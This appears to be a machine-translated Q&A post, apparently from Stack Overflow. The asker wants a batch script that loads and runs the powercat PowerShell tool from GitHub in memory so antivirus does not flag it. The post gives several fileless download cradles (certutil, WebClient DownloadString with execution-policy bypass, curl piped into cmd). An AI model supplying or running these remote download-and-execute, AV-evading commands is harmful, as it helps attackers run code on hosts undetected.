Hax*_*337 8 powershell cmd batch-file
在我的批处理脚本中,我试图远程下载和执行一个 powershell 脚本。这是网址:
https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
Run Code Online (Sandbox Code Playgroud)
我想将文件下载到内存中(不接触磁盘),原因如下:
powershell -nop -ep bypass导致 AV 检测的显然我可以使用certutil:
certutil -urlcache -split -f <url>
Run Code Online (Sandbox Code Playgroud)
但我不希望该文件命中磁盘,这会导致 AV 检测。
使用其他语言(例如 PowerShell)可以轻松完成相同的事情:
(New-Object Net.WebClient).DownloadString($url)
Run Code Online (Sandbox Code Playgroud)
或者
(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()
Run Code Online (Sandbox Code Playgroud)
我知道批处理不是执行此操作的最佳语言,但有可能吗?(我想要纯批次)
curl -s https://example.com/test.bat | cmd /v:on /k
Run Code Online (Sandbox Code Playgroud)
示例测试.bat
@echo off
(
cls
echo Hello
echo Time: !time!
exit
)
Run Code Online (Sandbox Code Playgroud)
正如在运行之前强制批处理文件加载到 RAM中所述,您可以缓存单个命令块。
有一些限制:
通过这种技术,您可以使用正常的批处理宏样式。